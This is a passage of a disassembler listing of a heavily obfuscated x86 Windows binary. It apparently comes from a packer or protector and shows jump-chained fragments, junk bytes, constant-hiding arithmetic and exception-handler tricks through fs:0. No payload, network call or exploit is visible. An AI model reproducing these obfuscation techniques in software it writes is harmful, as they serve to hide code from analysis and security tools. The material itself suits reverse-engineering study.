; CODE XREF: sub_439ED1+51E6j jmp loc_43C2AB ; --------------------------------------------------------------------------- align 4 loc_43AA5C: ; CODE XREF: sub_439ED1+A72j jmp loc_43C022 ; --------------------------------------------------------------------------- align 2 loc_43AA62: ; CODE XREF: sub_439ED1:loc_439949j mov edx, esi pop esi sub edx, 0B9A7B1C4h push ebp mov ebp, eax xchg ebp, [esp-18h+arg_10] jmp loc_43D828 ; --------------------------------------------------------------------------- loc_43AA76: ; CODE XREF: _802izwe5:loc_43F2BAj mov byte ptr [eax], 3 xchg edi, [esp-18h+arg_10] mov eax, edi pop edi xchg esi, [esp-1Ch+arg_14] call near ptr sub_43D6F6 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_43AA89: ; CODE XREF: _802izwe5:0043E54Dj jmp loc_43B96A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43AA8F: ; CODE XREF: sub_439ED1-104Bj jmp loc_43CCCA ; --------------------------------------------------------------------------- dd 3D8FE800h, 0 ; --------------------------------------------------------------------------- jmp near ptr word_43F6C6 ; --------------------------------------------------------------------------- align 2 loc_43AAA2: ; CODE XREF: sub_439C13+10j and eax, 419D6E58h call sub_43BFE8 add cl, ch pop ebx and eax, 0 loc_43AAB5: ; CODE XREF: _802izwe5:00439E14j jmp loc_4387FE ; --------------------------------------------------------------------------- dw 0E900h dd 444Bh, 0FB810000h, 0A2FD27Bh, 0FFCC8FE9h db 0FFh ; --------------------------------------------------------------------------- loc_43AACD: ; CODE XREF: _802izwe5:00438689p xchg esi, [esp-8+arg_4] xchg ebx, [esp-8+arg_4] mov esi, ebx pop ebx push 6637FD6Fh pop edx rol edx, 1Ch sub edx, 80236F2Ah jmp loc_43B2F3 ; --------------------------------------------------------------------------- word_43AAEA dw 0C600h ; DATA XREF: _802izwe5:0043DD40o dd 5B5AC302h, 0B98EE381h, 850F34F5h, 0FFFFEAC8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43AAFE: ; CODE XREF: sub_43F688-1EB2j jmp loc_43B4D4 ; --------------------------------------------------------------------------- align 4 dd 33E98100h, 137E04F2h, 0EAA3E9F9h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43AB13: ; CODE XREF: sub_439ED1+71Ej jl loc_43777D xchg eax, [esp-20h+arg_18] pop eax call sub_43AE83 jmp loc_43E7F8 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_43AB29: ; CODE XREF: _802izwe5:00437687j jmp loc_438F33 ; --------------------------------------------------------------------------- dw 0C600h ; CODE XREF: _802izwe5:0043F5B6j dd 5758F600h, 64280768h, 0FD1E95Eh db 3 dup(0) ; --------------------------------------------------------------------------- loc_43AB3F: ; CODE XREF: sub_4397E9+Ej xchg ecx, [esp+0] mov eax, ecx pop ecx rol eax, 19h xor eax, 228F04E9h sub eax, 4818A311h rol eax, 19h jmp loc_439FF8 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43AB5E: ; CODE XREF: sub_43CFCD+Aj call sub_43D600 add cl, ch mov ah, 0FFh ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- loc_43AB69: ; CODE XREF: sub_43C65A+5F5j jmp loc_43F01A ; --------------------------------------------------------------------------- align 10h loc_43AB70: ; CODE XREF: sub_439ED1+576j add ecx, 4 mov [ecx], eax add ecx, 0A0h call sub_437F24 pushf ror ebx, 16h jmp loc_43F662 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43AB8E: ; CODE XREF: sub_43BE3C:loc_43CA8Aj push ecx jmp loc_43F237 ; --------------------------------------------------------------------------- dd 0D33B0000h, 0FFE708E9h, 48700FFh, 8B5824h, 4475E8h dd 0F333E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43ABAE: ; CODE XREF: sub_438FC9:loc_43C507j push ecx jmp loc_4395A7 ; --------------------------------------------------------------------------- dd 81CC8B00h, 10C1h, 0C7098B00h, 1001301h, 3073E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43ABCA: ; CODE XREF: _802izwe5:loc_43DFB0j add ecx, edi pop edi mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], 43CD83h xor eax, eax pop ecx jmp nullsub_40 ; --------------------------------------------------------------------------- align 4 push ecx loc_43ABE5: ; CODE XREF: sub_439ED1+D26j jmp loc_43BF73 ; --------------------------------------------------------------------------- align 4 dword_43ABEC dd 76E8EC8Bh, 0FFFFFBh; --------------------------------------------------------------------------- loc_43ABF4: ; DATA XREF: sub_4396ED+4o xchg eax, [esp+4+var_4] jnb short loc_43ABE5 push ecx lea eax, byte_43C3D5 push offset loc_438688 jmp nullsub_52 ; --------------------------------------------------------------------------- loc_43AC0A: ; CODE XREF: sub_43C65A:loc_439810j xchg eax, [esp+0Ch+var_C] popf nop jmp loc_43CECB ; --------------------------------------------------------------------------- loc_43AC14: ; CODE XREF: sub_43F7BD:loc_43994Ej call sub_43DD0C add cl, ch ; CODE XREF: sub_439ED1+2B26j dec esi ; --------------------------------------------------------------------------- dd 0E9FFFFF3h, 0FFFFDC77h, 0DEE95100h, 0Eh ; --------------------------------------------------------------------------- loc_43AC2C: ; CODE XREF: sub_43C4C7:loc_43C4D8j ; DATA XREF: _802izwe5:0043829Do fdiv [esp+8+var_8] jmp loc_43E459 ; --------------------------------------------------------------------------- dd 58D0000h, 43EC7Dh, 87F78B56h, 0A5682434h, 0E95EB9F1h dd 0FFFFECB5h db 0 ; --------------------------------------------------------------------------- loc_43AC4D: ; CODE XREF: _802izwe5:loc_43F186j mov esi, ebp xchg esi, [esp+8+var_8] mov ebp, esp add esp, 0FFFFFF74h jmp near ptr dword_4397D0+12h ; --------------------------------------------------------------------------- align 10h dd 240C8700h, 8B241487h, 8B565ACAh, 2D55E9F7h db 2 dup(0), 0C3h ; --------------------------------------------------------------------------- loc_43AC73: ; CODE XREF: sub_439ED1+1C79j cdq adc ebx, edi loc_43AC76: ; DATA XREF: _802izwe5:loc_43D7B7o pop dword ptr fs:0 xchg eax, [esp+0] pop eax mov eax, [ebp-8] mov ecx, 0Ah push offset byte_43E335 jmp nullsub_15 ; --------------------------------------------------------------------------- dw 1487h dd 0C1815A24h, 0CB50338Ah dword_43AC9C dd 0F9F799F6h, 3381890Fh, 3E90000h, 0FFFFCCh ; DATA XREF: sub_43F734:loc_43D624o ; --------------------------------------------------------------------------- loc_43ACAC: ; CODE XREF: sub_43C034:loc_43EA52j push offset word_43F7CA jmp near ptr dword_437428+0CDh ; --------------------------------------------------------------------------- align 4 loc_43ACB8: ; CODE XREF: sub_439ED1-1129j pop edx xchg eax, [esp+0] popf nop jmp loc_43BA85 ; --------------------------------------------------------------------------- byte_43ACC3 db 87h ; DATA XREF: sub_439ED1-14ADo dd 0CF8B243Ch, 8B240487h, 71E858F8h, 0FFFFC9h ; --------------------------------------------------------------------------- loc_43ACD4: ; CODE XREF: sub_439ED1-222Fj jmp loc_43A83B ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43ACDB: ; CODE XREF: _802izwe5:004376D2j jmp loc_43D1D0 ; --------------------------------------------------------------------------- dd 72E90000h, 0F00003Bh, 21918Ah, 2A65E900h, 0 ; --------------------------------------------------------------------------- loc_43ACF4: ; CODE XREF: _802izwe5:0043B531j mov fs:0, esp jmp loc_43E88A ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- locret_43AD01: ; CODE XREF: _802izwe5:004396DAj retn ; --------------------------------------------------------------------------- align 4 loc_43AD04: ; CODE XREF: sub_43C65A+224Ej jmp near ptr dword_43729C+1Eh ; --------------------------------------------------------------------------- align 2 jmp loc_43CA13 ; --------------------------------------------------------------------------- align 10h dd 0FFC50FE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_43AD16: ; DATA XREF: _802izwe5:loc_4396D5o mov byte ptr [edx], 87h xchg eax, [esp-0Ch+arg_8] mov edx, eax pop eax add ecx, 1BB84718h sub ecx, 94C5187Fh jmp loc_43ECB2 ; --------------------------------------------------------------------------- dd 0C30000h db 0 ; --------------------------------------------------------------------------- loc_43AD35: ; CODE XREF: _802izwe5:004395C9j jmp nullsub_45 ; --------------------------------------------------------------------------- dw 8B00h db 0CCh ; --------------------------------------------------------------------------- add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h jmp loc_43E503 ; --------------------------------------------------------------------------- loc_43AD56: ; CODE XREF: sub_439ED1-1468j push edi push 514B194h pop edi or edi, 80080C62h and edi, 9A2E649Ch xor edi, 60E53EB1h add edi, 1F16E5DFh jmp loc_43DECF ; --------------------------------------------------------------------------- sub edi, 1572C7B8h sub ecx, edi jmp loc_43F5E0 ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- jmp nullsub_53 ; --------------------------------------------------------------------------- align 10h locret_43AD90: ; CODE XREF: sub_43F688-816j retn ; --------------------------------------------------------------------------- align 2 loc_43AD92: ; CODE XREF: sub_439ED1+618j jmp near ptr dword_437428+4Ah ; --------------------------------------------------------------------------- align 4 dd 0D5870Fh, 25E90000h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43ADA3: ; CODE XREF: sub_439ED1+212j rol ecx, 16h and ecx, 26881114h xor ecx, 0DD595510h add esi, ecx pop ecx jmp loc_43E83D ; --------------------------------------------------------------------------- loc_43ADBA: ; CODE XREF: sub_439ED1+31Fj push ecx jmp loc_43E454 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43ADC1: ; CODE XREF: sub_439ED1+Aj mov byte ptr [esi], 8Bh pop esi add eax, 5575364Dh add eax, ebp add eax, 40C9359Fh loc_43ADD3: ; DATA XREF: sub_439ED1+5o mov al, 0 jmp loc_439944 sub_439ED1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 loc_43ADDC: ; CODE XREF: _802izwe5:0043DE53j rol ebx, 6 ror esi, 10h jmp loc_43C1EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43ADE7: ; CODE XREF: sub_439ED1:loc_43AA10j mov ecx, esp push edx push 1DC5C0BBh pop edx add edx, 0B7DF872h and edx, 7958A030h add edx, 0D6BF5FF0h jmp loc_43F9B9 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43AE09: ; CODE XREF: sub_439ED1+A99j jmp loc_43B388 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A6E loc_43AE0F: ; CODE XREF: sub_438A6E:loc_43B46Cj push ecx jmp loc_43DFBE ; END OF FUNCTION CHUNK FOR sub_438A6E ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43AE17: ; CODE XREF: sub_439ED1:loc_43A678j pop ebx loc_43AE18: ; DATA XREF: sub_43F18B-1568o call far ptr 2C87h:0F78B243Ch and al, 8Bh std pop ebp jmp loc_439E1A ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 850F0000h, 1588h, 0FFCC05E9h, 240487FFh, 22B2E9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43AE3F: ; CODE XREF: sub_439ED1:loc_4396A8j xor esi, 88DBFEB8h add esi, 0A2D4CE0Ch xor esi, 0AD5EF404h add ecx, esi pop esi mov [ecx], eax push edx jmp loc_43E16E ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0E9510000h, 0FFFFFED7h, 3C870000h, 21F9E924h, 97680000h dd 0E9004381h, 17F4h, 6892FF81h, 16E91177h db 0CCh db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_43AE83 proc near ; CODE XREF: sub_439ED1+C4Cp ; _802izwe5:0043EA1Ej arg_4 = dword ptr 8 xchg ecx, [esp+0] pop ecx add esi, 9A7FF1A0h popf xchg esi, [esp-8+arg_4] jmp near ptr dword_438F00+7 sub_43AE83 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43AE96: ; CODE XREF: _802izwe5:0043DE0Ej push eax pushf push 9114A2D8h pop eax add eax, 86DDC42h xor eax, 99827FBAh call sub_43BC68 jmp loc_439EA9 ; --------------------------------------------------------------------------- dd 0C2C10000h, 354DE915h, 7C60000h, 16E85F03h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F18B loc_43AEC7: ; CODE XREF: sub_43F18B-156Fj jmp loc_4390C1 ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- dd 0BDD8100h, 87288267h, 8759240Ch, 0B3682414h, 0E9004393h dd 0FFFFE414h, 9C520000h, 7D10B668h, 0CA815A60h, 0C61D36ACh dd 144EE9h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43AEFA: ; CODE XREF: sub_439ED1:loc_43DEC9j jge loc_43DA58 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43AF02: ; CODE XREF: sub_43C65A+13Fj jmp loc_43A3E5 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 4 rol eax, 8 and ebp, 0EC36DE3Eh adc edi, 641D022Ch mov [ebp+0], edx jmp loc_43DBF8 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43AF20: ; CODE XREF: sub_43C65A:loc_43C84Dj add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_43C56C ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 2 dw 0CC66h ; --------------------------------------------------------------------------- jmp loc_43E4F6 ; --------------------------------------------------------------------------- db 2 dup(0), 81h ; --------------------------------------------------------------------------- mov byte ptr [esi-8B848C2h], 0C6h add [eax+0], al add cl, ch inc edx sar bh, 1 dec dword ptr [ebx+24142212h] ; DATA XREF: sub_43BFFF+1CC0o push dword ptr [ebp+0Ch] push esi push 0C3C44B57h xchg edi, [esp] jmp loc_43C5A2 ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] align 2 ; START OF FUNCTION CHUNK FOR sub_43C034 loc_43AF6A: ; CODE XREF: sub_43C034+13j jmp loc_43B537 ; --------------------------------------------------------------------------- loc_43AF6F: ; CODE XREF: sub_43C034-AF7j jmp loc_43D28E ; END OF FUNCTION CHUNK FOR sub_43C034 ; --------------------------------------------------------------------------- jmp loc_43E1D9 ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 0E9h dd 0FFFFFC1Eh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43AF82: ; CODE XREF: sub_439ED1+9C8j pop ecx retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43AF86: ; CODE XREF: sub_439ED1+46AAj jmp loc_43D78B ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_43AF8D: ; CODE XREF: _802izwe5:0043CB87j jmp loc_43C2FF ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43AF93: ; CODE XREF: _802izwe5:0043B4EEj push dword ptr fs:0 mov fs:0, esp jmp near ptr dword_4378E0+1 ; --------------------------------------------------------------------------- dd 0C2C10000h, 33C1E917h, 0F000000h, 0FFD72983h, 43F8E9FFh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43AFBB: ; CODE XREF: sub_439ED1+52Cj mov fs:0, esp jmp near ptr byte_43A8F7 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 8700h dd 81582404h, 0A41821C2h, 0E8128BDBh, 0FFFFFEFBh db 0 ; --------------------------------------------------------------------------- loc_43AFD9: ; CODE XREF: _802izwe5:0043F772j xor eax, eax add ecx, 4 call near ptr sub_43F19D loc_43AFE6: ; CODE XREF: _802izwe5:0043B5EAj jmp loc_43E5E6 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43AFED: ; CODE XREF: sub_439ED1:loc_43CDEBj call sub_43CFCD ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43AFF4: ; CODE XREF: sub_439ED1+44BEj pop esi add esi, 18139040h xor esi, 48BDE7AAh add esi, 89E515BAh xchg esi, [esp-14h+arg_C] loc_43B00A: ; DATA XREF: sub_439ED1+12C5o lodsb adc eax, offset dword_4270C0 push ebp mov ebp, ecx jmp loc_43CE76 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B019: ; CODE XREF: sub_439ED1:loc_43F237j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 jmp loc_43B169 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_43DCF0 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B03F: ; CODE XREF: sub_439ED1+48D7j pop ecx test al, 68h adc al, 61h mov [eax-79h], edi sub al, 24h mov eax, ebp pop ebp xor eax, 8278DFA0h js loc_4379B2 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 7C60000h, 0F1815F03h, 0C8EFCA08h, 561DC1C1h, 19C0AE68h dd 0F5E95E87h, 9C000002h, 1E9AE8h, 1545E900h, 0 ; --------------------------------------------------------------------------- push esi cmp ecx, 51E4B0D3h jmp loc_43CBEE ; --------------------------------------------------------------------------- dd 0C7098B00h, 1001301h, 18C18100h, 8A000000h, 9CC18101h dd 0 dd 2212E901h, 0 dword_43B0AC dd 5A4902C6h, 0C2C1C201h db 3, 31h, 0C2h byte_43B0B7 db 0CFh ; DATA XREF: sub_43E4D7+Bo ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B0B8: ; CODE XREF: sub_439ED1:loc_437BE0j jnz loc_43BDD5 xchg ebx, [esp+0] jmp near ptr loc_43D4B3+1 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 0E8E98E0Fh, 0CE81FFFFh, 0C6EB2BF3h, 0FFDB14E9h, 810000FFh dd 4CA61CEEh, 0DC6C146h, 5550CE81h, 850F0D1Bh, 4578h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43B0F2: ; CODE XREF: sub_43C65A+9Ej jmp loc_438E98 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B0F7: ; CODE XREF: sub_439ED1+124Cj jmp nullsub_49 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B0FD: ; CODE XREF: sub_439ED1:loc_43DECFj add eax, edi call loc_439FA7 add cl, ch jz short loc_43B147 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B10C: ; CODE XREF: sub_439ED1:loc_43DE5Aj mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], offset loc_43B7A6 xor eax, eax pop ecx jmp loc_43B0F7 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 push 43AA2Ah jmp loc_43F157 ; --------------------------------------------------------------------------- align 10h loc_43B130: ; CODE XREF: _802izwe5:loc_4394CCj pushf jmp loc_43825C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B136: ; CODE XREF: sub_439ED1:loc_43F58Ej push ecx jmp loc_43E740 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43B13C: ; CODE XREF: _802izwe5:00438F6Cj mov ecx, esp add ecx, 10h mov ecx, [ecx] ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B147: ; CODE XREF: sub_439ED1+1235j add [ebx], edx add [ecx], al add [ebx], dh shr cl, 56h xor al, [eax] add [ebx-0BD91622h], cl ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0FFFFh byte_43B15C db 90h ; CODE XREF: _802izwe5:loc_43DD32j ; DATA XREF: _802izwe5:004393D7o db 0E8h, 1Ah, 0CCh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F7F5 loc_43B162: ; CODE XREF: sub_43F7F5+Cj jmp near ptr dword_437548+117h ; END OF FUNCTION CHUNK FOR sub_43F7F5 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B169: ; CODE XREF: sub_439ED1+1160j jmp loc_43ED28 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43B16F: ; CODE XREF: sub_43C65A-49A3j jmp loc_43C8BA ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43B175: ; DATA XREF: sub_43D067o push esi loc_43B176: ; CODE XREF: _802izwe5:loc_43E4F6j mov esi, ebp push esi mov esi, eax xchg esi, [esp] mov eax, offset loc_43A0BF jmp loc_43F2BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B188: ; CODE XREF: sub_439ED1-1767j ; sub_439ED1:loc_43A026j push 0FFFFFFFFh call ds:dword_4270C0 ; ExitProcess push edx mov edx, esi xchg edx, [esp+0] mov esi, offset loc_43B00A jmp loc_43A129 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 1890000h, 4C181h, 1890000h, 0A0C181h, 1C70000h, 439F22h dd 0C359C033h, 810F0000h, 0FFFFFC8Fh, 0FFD930E9h, 0E99C00FFh dd 0FFFFC4F4h, 0C30000h, 0E9F16400h, 0FFFFD004h, 0FFDE65E9h dd 0E80000FFh, 379Ah, 0FFCAEEE9h, 0F68100FFh, 0AA4D63E2h dd 0FFF66DE9h, 5F0000FFh, 0CDBDC881h, 0E8815280h, 0D6E4CE03h dd 8118C0C1h, 178757E8h, 0D0BBE90Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B216: ; CODE XREF: sub_439ED1:loc_43E05Fj add edx, 25788372h add ecx, edx pop edx add [ecx], al add ecx, 4 mov dword ptr [ecx], offset loc_43A18A xor eax, eax ; END OF FUNCTION CHUNK FOR sub_439ED1 ; START OF FUNCTION CHUNK FOR sub_43DA03 loc_43B22F: ; CODE XREF: sub_43DA03-1FE0j jmp loc_4394C5 ; END OF FUNCTION CHUNK FOR sub_43DA03 ; --------------------------------------------------------------------------- dd 0DF030000h, 0D6E811BBh, 16CBC11Dh, 0C7E4E99Ch, 6800FFFFh dd 43E78Bh, 3589E9h, 4D830F00h, 0E9000038h, 0FFFFFC71h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B25C: ; CODE XREF: sub_439ED1-22CDj add ecx, 4 mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], offset loc_43C642 call sub_43CAE5 jmp loc_43E0F3 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 0C300h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B27D: ; CODE XREF: sub_439ED1+1676j jmp nullsub_47 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 sub esi, ecx jmp sub_43C3F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C034 loc_43B28B: ; CODE XREF: sub_43C034:loc_43F0F4j add edx, 0A13EAD20h rol edx, 0Ah xor edx, 0F9B34E74h add ecx, edx pop edx mov [ecx], eax add ecx, 4 jmp loc_43EA52 ; END OF FUNCTION CHUNK FOR sub_43C034 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43B2AB: ; DATA XREF: sub_43C3F1+5o add ecx, edi pop edi mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], 438C43h xor eax, eax jmp loc_43A410 ; --------------------------------------------------------------------------- align 4 adc ebp, 11B9279h jmp loc_43CB53 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B2D0: ; CODE XREF: sub_439ED1+7F2j add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43DBB4 ; --------------------------------------------------------------------------- loc_43B2F3: ; CODE XREF: sub_439ED1+C14j or edx, 46E86A62h loc_43B2F9: ; CODE XREF: sub_439ED1:loc_43B376j add edx, 895B381Bh xchg edx, [esp-0Ch+arg_8] jmp loc_43808C ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 53058D00h, 0E90043B3h, 0FFFFE508h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B315: ; CODE XREF: sub_439ED1:loc_43A3ADj add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp near ptr loc_4397A6+1 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_43B32C proc near ; DATA XREF: sub_43C65A:loc_43F7E0o ; FUNCTION CHUNK AT 004383F4 SIZE 00000006 BYTES dec ecx jnz loc_43BDD5 jmp loc_4383F4 sub_43B32C endp ; =============== S U B R O U T I N E ======================================= sub_43B338 proc near ; CODE XREF: sub_439ED1+4D0p ; FUNCTION CHUNK AT 00438B4D SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00438E8B SIZE 00000004 BYTES xchg eax, [esp+0] pop eax xor ebx, 0FDFAE73Ch add ecx, ebx pop ebx mov [ecx], eax add ecx, 4 jmp loc_438B4D sub_43B338 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 dword_43B353 dd 130B8h align 4 call sub_43CED8 ; START OF FUNCTION CHUNK FOR sub_43E4D7 loc_43B35D: ; CODE XREF: sub_43E4D7+10j jmp loc_439BCB ; END OF FUNCTION CHUNK FOR sub_43E4D7 ; --------------------------------------------------------------------------- dw 0E900h ; --------------------------------------------------------------------------- retn 3Eh ; --------------------------------------------------------------------------- align 4 dd 0C185EE81h, 0C6C102B0h, 4F68114h db 0FEh, 7Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B376: ; CODE XREF: sub_439ED1+14CEj jo short loc_43B2F9 into adc al, 69h push 69C6815Eh push es adc [ecx], ah jmp loc_43A78D ; --------------------------------------------------------------------------- loc_43B388: ; CODE XREF: sub_439ED1:loc_43AE09j xor edi, 0D8DF77D4h cmp edx, edi pop edi jmp loc_4397FE ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B398: ; CODE XREF: sub_439ED1:loc_439E70j call sub_439C13 add cl, ch ; CODE XREF: sub_43C65A+1D0Ej jp short loc_43B376 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D600 loc_43B3A5: ; CODE XREF: sub_43D600-7Fj jmp loc_43E904 ; END OF FUNCTION CHUNK FOR sub_43D600 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43B3AB: ; CODE XREF: _802izwe5:004389E4j jmp loc_43E2A8 ; --------------------------------------------------------------------------- dd 3FA0E900h, 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0E9h ; CODE XREF: _802izwe5:0043E8FFj ; 